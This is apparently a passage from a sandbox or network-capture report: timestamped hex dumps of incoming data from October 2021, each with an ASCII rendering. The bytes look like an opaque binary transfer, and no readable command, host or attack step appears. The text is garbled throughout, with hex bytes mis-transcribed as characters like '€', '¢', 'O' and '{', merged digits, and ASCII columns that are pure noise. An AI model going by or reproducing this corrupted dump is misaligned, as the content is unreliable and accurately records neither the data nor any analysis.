le 51 1c 77 52 8a 81 4d 5b fa €5 3c be f5 93 60 92 6c ef 46 a6 d0 f6 00 8d 64 e7 be 17 7e 80 d5 6e ea e0 08 8 6¢ 09 8b
78 16 b5 06 86 19 9b 86 19 9d 62 c2 1f bc ea 95 6a c0 41 89 9e 58 f2 14 13 3a a9 ca 57 ff 45 b0 b2 ec b6 17 87 d2 4d 38
5a 2a c7 e2 71 b6 4f 6a 8b c4 46 69 cc 97 49 Oe e8 92 10 78 8e 61 51 2d 52 37 ac 4d b6 1c 88 2f bc 33 ¢6 72 b9 88 75 88
6c b6 05 b7 e0 e3 d2 f4 ec 13 50 27 el 54 28 6¢ 2a 8b e8 8c d6 7¢ 09 ¢9 15 77 02 b0 2a 19 81 8e 3b 95 23 68 6b 6¢ 6e 73
d7 c4 2e b5 ff 51 1c 7f 74 67 f5 8d 19 66 ce 24 2b c2
Data Ascii: #0\vX9h?0;wxPE34gT&"6$gi3AQWRM[<'IFd~nIxbjAX:WEM8Z*qOjFilxaQ-R7M/3rulP"T (I*|w*;#hkIns.Qtgf$+

2021-10-13 13:52:05 UTC 578 IN Data Raw: 29 72 f0 67 b1 48 47 a8 4c 99 cb dc ff b9 28 ba 65 af dc Of d3 1f df 3f 38 cf e2 7c d8 21 b6 3b 5a 33 2f d4 ba 7f
Oa eb a9 79 f7 98 57 b5 1b 48 d1 20 9a 7b 1b 6d a4 19 97 d3 5b 82 f0 3c a2 0d 6e f2 61 9c 4a 4e 08 fd 87 e5 9b 44 81 7a
da 6e 18 a0 75 fe 24 9b 32 45 21 58 e3 4c 67 a4 ed f1 77 27 d8 ¢3 07 71 03 c5 83 f9 1f a2 bd 19 5b Oe 8e a0 76 d1 69 05
c4 3f a0 08 e2 29 43 6d cf f4 e0 c2 d4 d5 Oe 8a 42 5d 10 17 5d 5d a2 1c e4 17 f3 0d 9f 14 5f 5b b3 db 42 27 71 f0 5a 1a 53
4a 55 c4 7b c8 80 ee b8 3d 21 f2 b8 71 f4 6b 69 3b 75 fb 3c a7 81 ¢3 95 a4 57 93 a4 30 44 fa df 75 {3 36 4b d6 71 62 28 a3
38 ae e859 c7 fb 11 34 e3 de 06 8c ce al 79 7a bb 31 79 e4 1b 8d cc 05 75 8e 19 dd 0f 2d 20 d6 9f 92 bb 44 a9 c4 9b 2f
3e 86 31 6 cc bc d4 38 d8 f1 c8 a3 2e cf c8
Data Ascii: )rgHGL(e?8]!;Z3/yWH {m[<naJNDznu$2E!XLgw'q[vi?)CmB]]]_[B'qZSJIU{=!gki;u<WO0Du6Kqb(8Y4yz1lyu- D/>18.

2021-10-13 13:52:05 UTC 580 IN Data Raw: 02 f9 b3 c6 3¢ 31 22 32 92 33 19 57 04 3e {7 b5 97 25 34 39 44 c7 Oe 47 {8 a8 5f d2 7a 2a 27 8e d2 ab b5 db ec
0f 5e 35 ce 61 ff e6 c7 b5 81 de 59 67 30 27 d3 07 b8 d8 6¢ 64 a9 bl cl ea 0a d1 c2 b9 4e 6¢ 6¢ a3 2d 46 65 9f 86 9f 68
da 29 23 84 13 97 b1 83 b3 50 27 28 f1 29 a6 82 aa 57 6e 48 54 d7 1b 73 c1 24 61 7d €5 Ob f1 1a 97 12 b5 7 4a c3 56 2b
78573 92 14 a4 82 13 3b 13 18 9b 0d 1e 94 cf b2 4a 12 20 18 43 39 d9 43 09 c6 61 65 52 2b 41 ca ea 21 d4 43 24 67 1a
29 cb d5 fe ¢3 04 7f c4 3b 70 e5 9e f4 69 7c¢ 74 d2 ac 2c 59 3d f5 5d 55 98 93 Oa be ba 38 c8 6a a5 50 70 88 3b 46 d2 fa
2a 54 d7 86 bb b9 e9 6d 6f 56 df 11 f4 41 1a 18 ab 08 12 31 7f Of 58 5b c6 ca 84 76 04 4c af c9 €3 85 d5 71 50 e5 52 5d 37
57 e2 f0 51 0a 95 c5 9d f1 a4 80 5¢ 14 43 36 5¢ fd
Data Ascii: <1"23W>%49DG_z*"5aYg0'ldNII-Feh)#P')WnHTs$a}JV+s;J C9CaeR+AICSg);pilt,Y=]U8jPp;F*TmoVA
1X[VLgPR]7WQ\C6\
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2021-10-13 13:52:05 UTC 581 IN Data Raw: ca al b3 02 59 99 65 89 fa df c9 5e b1 53 df 75 71 48 4c 73 4d 61 44 08 55 b0 00 a5 c1 f0 04 5b a0 2c 7f 87 7e
36 f8 2c 00 78 b0 a2 c7 ed aa 39 f1 80 9e fd 70 27 b0 6a f5 23 a3 85 69 09 6e 4a 31 05 6¢ d7 Ob bf 76 79 f9 77 78 50 €5 7C
45 aa ab b2 30 b7 39 e3 89 2b 6d fe 67 09 1c 41 49 2e 09 52 76 7f 95 92 4c 91 4b 10 ba a3 44 17 f6 3d 2d 13 ad cc 22 27
7b 77 3 fc 47 6¢ e5 3e 84 6¢ ef dd de 2f 09 31 22 68 1a 41 6b 39 40 af dc 3d a9 d2 01 ae ce f3 64 ce 77 ad 2c 6d 4e 4e 46
ef 6a 95 3d 4d d3 af 12 cb 42 49 a4 3¢ 97 78 c6 c5 56 be 42 a2 79 58 eb 71 al e5 b2 16 5d e5 24 c5 78 e2 71 b6 30 f1 86
74 51 0f 4f 81 0d a0 e5 6b 9d 7a f2 al f2 Ob 16 89 23 f9 fd e3 Ob 52 f4 b8 3e 21 01 b7 7e 6a ca bb 43 dd 6b f1 00 97 b9 fa
ad d8 9d 1b b1 6b 89 29 d4 10 08 72 81 b5 06
Data Ascii: Ye"SugHLsMaDU[,~6,x9p'j#inJ1lvywxPpE09+mgAl.RvLKD=-"{wGI>I/1"hAk9@=dw,mNNFj=MBI<xVByXq]
$xq0tQOkz#R>!~CKK)r

2021-10-13 13:52:05 UTC 582 IN Data Raw: c7 3e fO 2a 37 4a a4 73 91 d6 fb f4 c9 84 f2 8e 01 5a 57 cb 6b 14 92 18 59 a2 b7 3f 4e 35 18 3f 62 29 44 36 Of
d2 86 7b 37 a0 d4 6b fb e8 ad 39 44 1f b4 be cd 2d a9 10 e5 Ob al d8 7b 0a b8 fb b8 26 c7 3e 87 03 al 82 f5 ee d7 99 c2
60 71 51 1d 6b d5 14 dd 3f ch 59 d7 5a a7 c3 f4 6f 87 1a 47 50 85 d7 87 al 35 f8 2c d3 31 2d a4 80 13 55 6b 7c 5b cc e4
d2 1b 22 fd 8e 94 f6 Oe 08 d2 3d c1 c6 ac d5 2c 63 Oe 76 7a ba e3 Oe 83 57 b4 6e 27 bb f7 3c dd 39 38 8a d3 69 48 35 84
cf 71 4f 65 f6 02 1d 55 3b f4 cf 60 80 36 18 28 a9 10 f6 68 28 13 ad f6 ba 37 40 8f 07 €3 29 75 el a7 9b c7 8 f7 00 2f 5b
4d 8d 30 e7 be 17 fd ac 8d fa 29 ef e6 23 e0 8c 52 Oc 6¢ 12 91 79 b6 64 9d 15 67 9d 3d 6b 4d 4c b4 12 cb 2b f6 79 e7 26
6f 88 3a 3c 35 56 68 96 00 45 d8 b6 €8 ec 00 f2 b3
Data Ascii: >*7JsZWKY?N5?b)D6{7k9D-{&>"qQk?YZoGP5,1-Uk|["'=,cvzZWn'<98iH5qOeU; 6(h(7@)u/[MO)#Rlydg=kML
+y&0:<5VhE

2021-10-13 13:52:05 UTC 583 IN Data Raw: 38 b8 12 ba b0 20 bd 7c ab 39 59 72 4b d3 ea 2e 2a a6 88 cb b5 2a 4f 84 0b 3e 57 fc 9d 10 3d 19 20 2e 10 8e
b5 c6 fe 12 7c fc Oc 15 3c ea 3e aa 4d 3a 06 dd 01 1d 7a 2a e0 5e 40 a4 f4 20 08 48 85 51 9e 46 f9 76 a4 5b f2 df a2 53
ae 87 7e Oc c6 16 07 8a cf 4f b9 f8 7c 34 bc 40 dO 26 7e ed cb 33 af 72 9e 67 e7 2a 6f 74 05 ce f8 85 c2 d3 1d cc f2 ec 91
7a 4e c8 22 f8 bl 8a 28 ae 16 0a 62 bd e2 ba e7 47 f7 6a 86 65 4e fc 29 11 99 58 19 58 3f f8 b5 91 f8 28 1c c2 3a 7c cd c7
06 36 23 d7 57 25 17 a2 43 48 68 a2 b9 d6 31 fc a4 ab 50 77 55 40 13 24 e7 cc 44 c7 ce 3d 5a 8e 2f a4 de 68 92 6e b0 ch
07 20 d8 36 46 40 1c 50 e5 b9 97 7d 8e 9b cc da e6 53 07 5b 66 7e da 41 55 65 Oc f4 b0 cc 9d 5f 99 74 d7 16 20 76 24 63
5f @390 a2 3 24 5b 10 59 a2 fc d9 4f 4d 6d 2c 5¢
Data Ascii: 8 [9YrK.*O>W= .|<>M:z**@ HQFV[S~O|4@&~3rg*otzN"(bGjeN)XX?(:|6#W%CHh1PwU@$D=2/hn 6F@P}S|
f~AUe_t v$c_$[YOMm,\

2021-10-13 13:52:05 UTC 584 IN Data Raw: d3 f5 73 c0 98 25 b7 aa cc 10 fa €9 a2 e4 9c ba ee 11 8e c2 ce 25 0d 3d c0 c1 30 02 b4 0f 34 8a 7d e2 8e 61 fc
80 d7 56 8e 78 ca 1b f4 9f eb 33 63 35 0f 17 5e Oc b5 32 ad 4b 94 59 46 Ob 7b c4 €8 c0 95 92 ad 64 84 25 9a 49 89 05 92
c9 b8 df 05 0a 9a b2 96 fb 1f 51 3b 68 ab c¢8 1e 09 80 b3 44 16 52 ff 1c 7b 2e Oa e2 47 d2 ed b0 20 13 39 fO cO 44 4b 6f bl
1f 4c baf2 3d 88 88 32 e2 ed 3d 31 52 2c 28 9a a9 01 72 c0 34 f7 71 de ¢7 96 a2 93 bd 71 28 aa 5e 54 17 cf a5 8b cf 38
c7 2e fd ad 40 a5 70 bd 3e 28 48 84 82 67 bc 5a ed 98 87 23 a9 c0 35 3¢ 93 33 db c¢7 5a 5c¢ bf 53 09 ef 68 23 6f fe d6 1b
ab eb 88 ¢8 d2 e7 24 b7 20 96 12 c1 b4 52 4a 92 55 09 d1 3c 39 fb 09 82 e5 27 13 18 23 89 66 1b 89 f3 48 c0 69 89 33 48
le bc d2 44 f4 7a 25 3f 40 76 15 44 8a 16 6d bl 85
Data Ascii: s%%=04}aVx3c5"2KYF{d%I|Q;hDR{.G 9DKoL=2=1R,(r4qq("T8.@p>(HgZ#5<3Z\Sh#0$ RIU<9'#fHi3HDz%?@
vDm

2021-10-13 13:52:05 UTC 586 IN Data Raw: 4a 9d 07 16 e4 3a e3 6a 4c b5 ac Oc ad 5e 1a 90 50 aa 3b cb cc 23 29 68 ee 93 45 93 cf df fc 51 18 e9 24 da 7f
ef 2f 74 84 7d 2d 87 cf 4e 7b 06 ad 5e cf 62 93 94 66 38 b2 €3 03 fa 9d 4e be 63 78 b6 2e 01 99 {7 8¢ f5 5e 46 7b d0 a7 b6
17 fc 81 fa eb 5¢ 61 ef b9 ec 7f da e4 01 05 e4 85 Of 4e 92 d3 b8 b3 89 a7 4d 2a e2 54 75 c9 2a 26 1a 41 1e 99 18 c1 a7
2c cf 2b a5 55 08 d4 b6 9c 0f 87 12 20 3f c4 94 a3 7b 7b e8 87 ed 50 40 e0 ec aa b4 a4 32 47 f0 89 46 72 15 14 ff e6 0d
45 0f 68 7a d5 03 09 49 52 44 89 85 68 cf a0 1a af c2 c6 6e 24 7a a8 98 d5 48 20 3c 51 a0 e9 96 4a a9 3c 1f e5 a9 Oa 44
d9 a2 27 fc bb 11 19 54 92 55 41 84 12 f6 fO b6 ad bc 32 6a 42 97 f6 15 39 b9 2e 6¢ 8¢ 7d 66 78 82 f6 00 02 1a 2b e9 ab
1321 1fb4 10 73 df a9 19 ed 72 ad ed 8e 77 8c a2
Data Ascii: J;jL"P;#)hEQ$/t}-N{"bf8Ncx. AF{\aNM*Tu*&A, +U 2{{P@2GFrEhzIRDhn$zH <QJ<D'TUA2jB.I}fx+!srw

2021-10-13 13:52:05 UTC 587 IN Data Raw: 9b 2e 34 6f c1 bf 35 15 25 01 95 b9 ff 1a 89 9a 93 f2 7b 7f 7f be be 96 d5 9f a4 3b c7 42 b0 fa 7b el 69 9b 35
dc dd 12 6b 02 f2 b1 8d 38 61 €9 fc ed 72 55 ba f4 67 bd 85 Ob d6 30 df 6d 6f 85 dd 40 7b 1f 65 5¢c 43 54 12 27 f4 2d 40 74
8 94 de b6 98 82 ba fa 20 e7 ca 4d Oe e0 e4 98 fd d6 30 69 38 4d d4 c0 36 85 b7 71 b0 56 10 a7 52 50 8b 10 8b 93 40 11
7b a5 1a 4b 71 76 e9 ee 96 21 a0 62 60 43 41 41 ee a2 ca 26 62 84 10 8e 8¢ 21 e8 a4 cc f2 cf 91 7a 6b c8 22 d5 b0 8a 0d
cf 90 5e eb 8 bb 4e b6 12 ba 27 67 f8 ¢8 3d 55 98 dc ba 1d 50 21 20 9a 7b 1b 6d 98 4b f6 d3 b0 e8 f0 36 3b d5 b8 f1 ae
d7 4c dd 87 a0 c9 7c 3e 42 2e fa 64 77 5d 50 fc d0O 86 33 ec 28 ba 80 9c al fd d1 f4 2a bf 8c 3b 86 17 fa 00 ab 14 ef b4 fe
el 8d f6 a0 84 67 33 a6 ca 68 46 4f ed 00 e6 a2
Data Ascii: .405%f;B{i5k8arUgOmo@{e\CT-@t M0i8M6qVRP@{Kqv!b’CAA&b!zk"N'g=UP! {mK6;L|>B.dw]P3(*;g3hFO

2021-10-13 13:52:05 UTC 588 IN Data Raw: cc b2 4f 36 6d 63 8f 7c cd 85 a8 2e Oe 5f 8b 32 65 08 c2 e6 28 4d e5 ed 34 10 da 1c 34 e5 91 77 96 db a0 0f 57
eca7 e970al b8 fl e9d a2 3e 49 5a 35 1d 8e 6e 1d 09 86 2c 4d 69 47 bb 63 d3 f4 e7 d4 91 e4 96 57 80 fb 8d 34 54 ca 27
33 6e 68 b7 bb 8f 82 73 7a 5¢ c8 f2 fd 3a 26 5a 07 f4 2f 7f c7 27 93 4a 11 ca 28 8b 45 8c a2 28 ee f2 fe 0d 93 ed ff c3 69
04 9c 1e 76 1f 6d 72 bf de d7 9f 38 2d 06 2d 1b 4a 53 f4 c9 31 94 2f e5 57 Oc 3a 2e 6e 2f 7f 5¢ 20 bb 15 d4 el ca 9f 1a 22
7aec 87 ef d3 fb c9 ce 77 df 62 ca 00 8¢ 3a e6 ad c2 c3 ac 07 84 35 db 58 00 d4 5a 58 8b 20 f4 b6 d1 d0 d1 7b 6d ce 23
3e 5¢ 52 dd a5 09 65 81 28 8b f2 91 a6 c2 03 3e 43 87 75 6b f4 39 Oc fa f7 10 a4 b1 88 42 ee 9e 26 2d 26 60 c5 c8 18 cd
1f eb 29 1a 32 1f bc 19 65 ac 05 07 15 87 32 6e
Data Ascii: 06mc|._2e(M44wWp>1Z5n,MiGcWAT'3nhsz\:&Z/ J(E(ivmr8--JS1/W:.n/\ "zwh:5XZX {m#>\Re(>Cuk9B&-&")2e2n

2021-10-13 13:52:05 UTC 589 IN Data Raw: 1f 7d 03 1f ce da f1 1a 8e Oa 8e aa 89 29 ab e7 c8 f0 6d d5 55 a5 99 74 d7 15 10 17 77 6d 5d e3 e2 cf 83 73 a4
ef 82 3f 3e 20 4a 27 f2 65 1d 71 43 e5 a5 b9 42 {7 fc d5 fb 9 2d 09 2e b9 75 83 60 c1 8d 79 2d 82 10 5d aa 4c 14 ae 85 cf
32 efeaed 23 d7 c2f9 94 81 78 c7 3c 93 f8 cO bl ef b6 54 f6 07 c1 ¢9 10 c9 67 Of 46 63 44 al b6 17 ff 3f 98 bl b4 5c 48
2d a9 18 f9 98 3a aa a5 5a 52 22 f9 4¢ b8 b3 87 25 29 03 87 c1 37 99 79 4d 2c c2 1d 59 ¢3 b4 al 04 3c 51 a5 76 11 bl 46
de 5e 6f af 3f 7a 28 €2 09 44 75 50 84 bf ea aa 97 3e 39 39 f1 5d d1 14 eb e4 72 95 a8 3b 82 29 d2 b7 f4 ac 39 53 07 00
ba 82 76 7e 39 27 5d af f8 2a 44 39 20 7 6¢ 56 bf 3f d4 ¢3 03 1f 37 e1 69 39 b1 9a 8a 96 €5 ed 61 de c9 12 f2 bd b0 5e dO
cl 15 da 99 fb 40 fa 7e 27 f8 b3 7c 67 18 b2
Data Ascii: })mUtwm]s?> J'eqCB-.u’y-]L2#x<TgFcD?\H-:ZR"L%)7yM,Y<QvF*0?z(DuP>99]r;)9Sv~9']*D9 IV?7i9a"@~'|g

2021-10-13 13:52:05 UTC 591 IN Data Raw: 60 73 31 03 a8 47 bd 80 54 73 51 00 fc 6a el e8 13 1b d0 41 88 11 81 f3 48 c6 b6 f4 Ob 2a el 43 d7 6b c9 e4
d7 c0 34 bb 11 74 8a 70 e7 fc 90 4a 9e 1c 32 Of 3b f4 a5 ff 4c 85 ce 1c 67 bf 47 12 77 2e ba 6¢ 5b 7f 8e 35 d0 0d fb 6f b2
4d 30 e8 11 ac 68 ba 09 33 72 e2 f2 7d 5b b5 12 03 f8 90 6¢ 19 3e 24 cc 90 ad 12 df 5a 64 15 c8 90 e2 4f 98 12 a7 46 c9
50 23 b0 84 d5 b6 5e 78 50 29 f1 9f b3 8d da 8c 14 12 b4 0d 8b cb 09 9e 4c 73 f0 24 87 23 c0 95 3¢ 12 b8 74 f0 1e d6 e2
21 67 bf a2 23 2b 37 91 7d 14 77 e6 19 af ae 06 89 20 54 23 e8 77 ce 8c a7 96 3b 86 41 67 3d c0 a5 e2 aa 16 7c bb a9 d8
b6 2d 91 7e a2 09 bb 95 51 fb 16 dc ba 93 dd d8 f7 f8 71 71 6d 79 cd 7b 84 44 82 9a bf 31 7d d9 c9 dd 5c 11 92 05 4f c9
29 ce 44 fb ff 3c fe 18 ca 75 20 3f 1c e8 3b f1 d4 e2
Data Ascii: 's1GTsQjAH*Ck4tpJ2;LgGw.|[50MOh3r}[I>$ZdOFP# xP)Ls$#<tIg#+7}w T#w;Ag=|-~Qqgmy{D1})\O)D<u ?;
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kBytes
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2021-10-13 13:52:05 UTC 592 IN Data Raw: 76 6e 55 c1 bc 1f 7e 4d 7b 24 26 b1 04 16 84 41 e6 3a 07 60 d2 ad 41 43 62 68 70 41 bb ab cd 8e 75 c1 8f a8
5c 6d 8a 4f cd 10 d2 fb f0 al 86 6¢ 8d 19 1d c6 6b d1 5b 98 6d c3 41 fd cO €9 00 9d 77 b1 78 b6 78 be 13 2c 93 a4 36 fc
04 62 7f 30 b3 4a cc 96 6d be 32 fd 05 c4 5b ea b3 dd 4b 2a a9 9a 45 68 7d c1 fO c7 05 df cb 84 12 68 ee b6 6b 7 60 12
4228 f1e9 1e 7419 e3 7b 99 29 {7 1a 68 24 bd 29 9c e8 bf 3b 5 fb 1c 53 f9 6d 65 d9 48 05 d1 al 27 6f 06 9c 95 ae 6e ac
€9 6¢c 73 7b 1e 32 74 52 51 1c d1 af 0a 76 cd 6 99 6¢ 59 19 39 5a c¢7 92 90 00 8e bb 38 d6 2a 9e e9 a0 2d 78 2c 1f 7a 2d
54 bf 9a 94 75 61 be 51 82 10 21 38 3f 18 d6 a7 f0 87 d8 5a d3 9c cf a5 25 cf 38 c7 66 ff ad 40 a5 22 9e 3e 28 13 50 ea 19
ee 5a ed 98 82 23 a9 a3 81 e6 56 15 ac ad e5 4f 66
Data Ascii: vnU~M{$&A:"ACbhpAu\mOIk[mAwxx,6b0Im2[K*Eh}hk B(t{)h$); SmeH'onls{2tRQvIY9Z8*-x,z-TuaQ!8?Z%8f@">
(PZ#VOf

2021-10-13 13:52:05 UTC 593 IN Data Raw: 11 b5 fe 18 2d 38 5d 23 41 ec e8 63 3d f9 ac 2f a4 66 2f fe 9a b0 cb 6d 71 d8 e6 94 ec b2 47 4c 5a 1e f0 03 32
e3 77 €530 2e a3 62 38 4a a2 e5 74 87 81 e8 cc 55 2d 34 el 20 2d 46 ae 2c b5 be 4e 87 €2 78 8e 5b 9d 97 27 a4 3e 07
7 20 49 52 7a bb f3 21 bd 4c 02 03 2a c2 be 93 95 af 66 70 eb bf cd 01 3c f4 32 3f f3 10 81 15 d6 78 b3 09 93 01 3c b7 51
ca 99 94 eb 33 c1 54 b6 c6 bc b6 b9 95 97 2d 7b d1 9e 1 b4 05 85 4c f2 36 5¢c 49 82 ad 3b 43 al d9 e4 62 2d 22 dd 31 4a
16 8a a4 81 5d 25 bf 5¢c bb 73 03 5d 55 77 0a 84 88 97 al 40 83 92 b9 e2 35 94 6 26 26 c1 3d 91 44 69 80 d2 8e 6b 1f ac
7a 28 5c 9c b7 2a a5 c6 5a 31 b8 95 65 ef d7 78 9b e7 7e a4 al 84 9c d2 99 7f 4b 23 d6 a0 95 5f da c1 6a 37 fa fa f3 7c b7
a7 fd 3b 4b 00 14 a9 b2 fe bb b0 f6 19 a5 8a 0d b3
Data Ascii: -8J#Ac=/fimgGLZ2w0.b8JtU-4 -F,Nx["> IRz!L*fp<2?x<Q3T-{L6\I;Cb-"1J]%\s]Uw@5&&=Dikz(\*Z1ex~K# j7|;K

2021-10-13 13:52:05 UTC 594 IN Data Raw: a7 79 dc db dd c3 df 0d 22 cd cO 2d b4 99 7d 54 e7 d6 b6 95 96 Ob e5 3a 7b 9e 1f 5a 49 1c b9 18 eb 29 22 3c
ad 4f 16 e7 81 54 f8 44 bf 72 61 el 82 13 17 94 87 0f 19 8b 9b b7 49 b4 3d 4f ba 8b 43 d7 d5 99 64 cd c0 bf 5d 54 9d 30
50 8e 3c fh cc 1 40 bb 4a a5 1c d3 a3 9c d5 f7 b5 8a 95 67 78 fa 11 6a b8 c9 b6 99 2d aa 6b e2 6f bl e5 5¢ 0d 12 59 84
b2 69 33 25 39 3e c0 ef d6 82 0e 92 90 85 dd 04 4c b6 b6 a8 b3 3e 12 16 7f 9f 4b 3e e2 12 05 c9 da 09 5f cf b9 39 cc 12
bf 35 c6 a2 9f 42 6b c0 bd 25 bc 08 63 Oe 33 14 a2 bl 4f 9b d9 4f 87 74 1d 4d 6d c5 97 3c 03 1d 17 d9 7e ae 98 90 Oc 27
d8 43 25 cc ee a2 f9 47 al 4a 99 cb d4 6c fd 13 6a 08 ac 3d 55 8¢ 2b 67 69 6e 44 3a cf 22 dd eb f8 03 c5 21 55 6a 14 82
Oc 43 b4 f6 98 dc 83 e5 €9 d6 f5 f4 7a 71 6d cb 3e 8f 81
Data Ascii: y"-}T:{Z1)"<OTDral=0Cd]TOP<@Jgxj-ko\Yi3%9>L>K>_ 95Bk%c300tMm<~'C%GJlj=U+ginD:"lUjCzgm>

2021-10-13 13:52:05 UTC 596 IN Data Raw: 4a 00 0d a9 b2 f0 54 7c 63 56 86 d7 c1 22 d1 c3 ec 6d 13 4c b4 7c fe 63 7d 8a 03 84 ab 14 b1 df 04 8 53 dc a¢
2430 c0 ae 3e b5 16 b1 06 cc e7 74 ca 5¢ 8e 45 8e 49 80 c6 b0 e5 54 55 eb 3b 13 98 dc 64 17 07 d7 69 03 8b f1 1a a8 07
f4 al a0 49 Ob df ea c2 ac e0 a9 12 12 cb 41 4e b1 8a 72 91 7d c5 91 70 af fe 13 39 bb e0 Oc 44 77 16 2e b3 Ob 17 7c 95
71 52 4d 26 40 04 3f 69 a8 fd c2 Ob b5 96 06 14 7b 9e ae 97 05 a8 cb 84 c2 60 0f el a8 b8 54 25 0f 26 b2 dd ac e5 88 bb
13 f7 be 95 17 4f ad b2 18 8¢ 55 66 73 8b e8 5f 99 d9 ee 48 ee 8c 26 d2 f1 32 95 8f 9b 18 76 6b b4 5e b3 e6 28 1f 36 a2
1e ff Ob dc 5e 8f 22 bf 4c ee b7 8b a9 6e d8 38 1b 42 b4 d3 3d c7 5f 24 Oe 95 9b f2 f2 5f 90 e2 59 e6 ce 75 fc 07 db e9 88
56 94 b4 b9 c0 91 d0 13 03 fd 7 a7 4a 63 65 56 51
Data Ascii: JT|cV'mL|c}S$0>t\EITU;dilANr}p9Dw.|gRM&@?i{ T%&0OUfs_H&2vk (67"Ln8B=_$_YuVJceVQ

2021-10-13 13:52:05 UTC 597 IN Data Raw: dc ba 13 d9 dd fc 7c 3e cf 96 0d b4 2e d8 ac d1 80 40 99 a0 a4 70 a9 a3 ee 97 05 e7 31 29 ce 44 95 93 2f fc
la a0 f8 28 ae 37 46 ¢7 61 58 29 d8 7e f2 05 3e 7f 6f 4f 48 ¢3 55 d0 63 30 82 8b f9 b5 df 1e 7d 1b b3 ca da f1 22 fb b3 20
b5 e5 d6 28 a0 00 71 20 4e 94 7c 65 8b 28 cc Ob 03 f6 6e 27 ¢8 96 b5 04 de 0a 9d 47 Ob Of 4¢c b5 75 27 1a 08 f2 bb 3 42
36 b4 7 fc a9 6¢c aa 93 7c 02 7a db fc f9 20 8f 3¢ 79 7f b8 4a e0 b3 91 d6 12 31 a7 af 55 aa 5e 1a ad 6¢ 6b 66 €8 96 4a 14
fa 6f a6 7f 94 bc a6 45 d8 cb 78 ¢9 80 83 17 0d c3 a3 18 65 f8 95 41 1f d7 99 8a 34 2c 6¢ de 98 3a aa a5 41 29 e4 fe 97 cd
ae 6a 8¢ 5f 7d 0a 09 52 1d d3 5a 21 01 4b b1 f4 bb dd 3f b7 10 56 87 98 33 8f 29 Oe 87 9f 27 2f d4 38 d1 09 2c d5 7c 43
e9 af f2 69 76 c2 Oe 21 45 4e 96 €5 72 15 97 d3
Data Ascii: |>.@p1)D/(7FaX)~>00HUc0}" (q N|e(n'GLu'B6I|z <yJ1U"kfJoExeA4,|:A)j_}RZ!K?V3)'/8,|CivIENr

2021-10-13 13:52:05 UTC 598 IN Data Raw: 45 33 ac 3e 10 6e 8a ac ff bb 71 ee 6f e3 9a 6f 2f d0 5d d3 de ed 41 40 30 67 5e d8 b2 d9 b9 35 d6 b9 4e e2 27
39 c6 bc 71 75 eb 4a 67 fe 2f 5¢ 30 38 3a 33 94 55 ff 64 24 a4 a9 86 2b 7e da b7 97 f4 ¢3 bc 09 0f 8¢ 90 16 75 55 56 2f 28
2e eb 2d df 29 ce cf 6d 70 7b 16 93 b4 cc 26 3f c4 ba e8 32 03 36 a9 6a 50 bd f0 12 78 31 cb 07 7e e2 e6 98 37 ae 57 34
19 1c 7d 9a 57 b0 el 02 4b f9 a2 62 3f c8 a2 f6 68 4b cf 9d 99 62 64 e9 ce dc 17 ae ef 20 e3 a2 97 22 42 91 8¢ Oa 9b 2a 3f
77 33 4a 27 f2 65 05 c1 4d 7a ef df cd f7 77 1b 25 1a 3a c0 7f 34 20 88 53 bc 67 b7 7d 0d 89 63 10 cd 9e 61 b0 bd 98 b3
50 71 f3 33 4b de 98 60 20 42 el ba ed 41 cf be e0 fa 25 €9 cd f2 8d bb db 85 9e fe 56 5e 1b 00 96 €9 13 49 df a5 6a le 5f
1la 64 eb 7b 79 54 af d6 e3 8f 2a 33 bf 72 60
Data Ascii: E3>nqoo/|JA@0g"5N'9quJg/\08:3Ud$+~uUV/(.-)mp{&?26jPx1~7W4}WKb?hKbd "B*?w3J'eMzw%:4 Sg}caPq3K"
BA%VAI_d{yT*3r"

2021-10-13 13:52:05 UTC 599 IN Data Raw: 6e ab 80 c2 de 78 1c 53 bb 4d ae e3 a5 29 de 71 b9 e9 8e 52 8¢ 41 c6 26 fc 3b 4e 6f bl c1 31 00 a0 67 d6 01
59 14 f4 b8 d5 11 1f ce Oe 7b df 15 ad 5b eb 70 88 4c b5 99 04 5c 72 74 ac d4 06 80 30 5a da a8 db 52 44 02 38 bf 27 41
95 73 d4 2a 00 2f 5¢ 16 d7 68 da 79 1b 13 64 53 b5 06 73 e2 7d 59 4b 66 09 f6 07 c8 a8 05 c4 05 52 06 a8 b6 4e 39 3d f4
60 b6 80 be 6e b9 52 ¢3 56 3b df 67 38 99 8f 13 37 22 09 05 72 50 2a Oe 73 8a 7e 0d 65 b4 97 60 46 8b 43 ea 83 1b 6a
5a 8d 47 64 47 2e dc 98 43 77 91 cc 1d 19 63 59 b9 ea 78 ba 9c 5e ca 08 3b 79 af 06 aa 7b 6a 64 da c7 5f 19 7e dc a5 e4
54 d0 70 b4 eb 9f 3¢ 58 a5 a5 be 3a 3c 69 8a d2 5b 15 92 90 50 4e d9 al b9 20 a2 bc 3c 1a 7e 7f ¢8 4d 5f 63 a3 ed 76 48
5c 4f 2c 9e 89 5e bl 5e 40 a4 c8 c1 7c ea 87 51 cd 9d 9c 97
Data Ascii: nxXSM)qRA&;No1gY{[pL\rt0ZRD8'As*\hydSs}YKFRNI="nRV;g87"rP*s~e FCjZGdG.CwcYx";y{jd_~Tp<X:<i[PN
<~M_cvH\O,M@|Q

2021-10-13 13:52:05 UTC 600 IN Data Raw: aa 66 f6 d7 77 69 31 e5 7b 4c 3b 77 16 5f 9d 72 8e a9 d5 c9 2a 96 le dc 48 85 8f 09 e6 d8 34 d4 5a 8b 1d f4
82 6b c3 40 da 7c 3a 28 6f 5¢ 0d bd f8 0a f9 60 7e 81 ff df 24 7c 9b d1 48 7a Oc 31 5e 97 3b ¢5 ¢7 06 9b ed ba f9 5¢ 1d 05
35 7e 28 21 66 ac ch e5 6¢ 49 10 5a ab ba c4 8d 69 el 54 96 f7 19 35 61 ca a9 b1 9a 59 df b0 5f d9 79 82 29 5¢ bd 6b 82
aa 13493290 59 ad 75 f5 ff f0 32 90 68 14 e2 d1 56 c2 3a 34 c1 e9 eb 31 b0 d1 67 96 ed e9 fd 44 42 10 d5 6¢ 74 a3 62
8d 2b f0 93 ed 78 87 f0 d6 b0 4e 64 75 b6 c8 26 9f 02 1d 4f 1b 88 f4 6a fc 6f 78 ca d2 52 06 ae 13 db 45 2c 46 6¢ 5a 17 5d
b3 4f ac c0 ed f5 68 4c el 05 33 b3 7d ¢3 79 07 5f b9 1f 06 e2 6a 91 2a 3c 05 df cb 07 b7 ff 04 6f 92 b9 3e 21 01 8d 68 03
C7 86 04 b7 6b 25 a8 65 6e cb 85 d9 1e df 3e ca
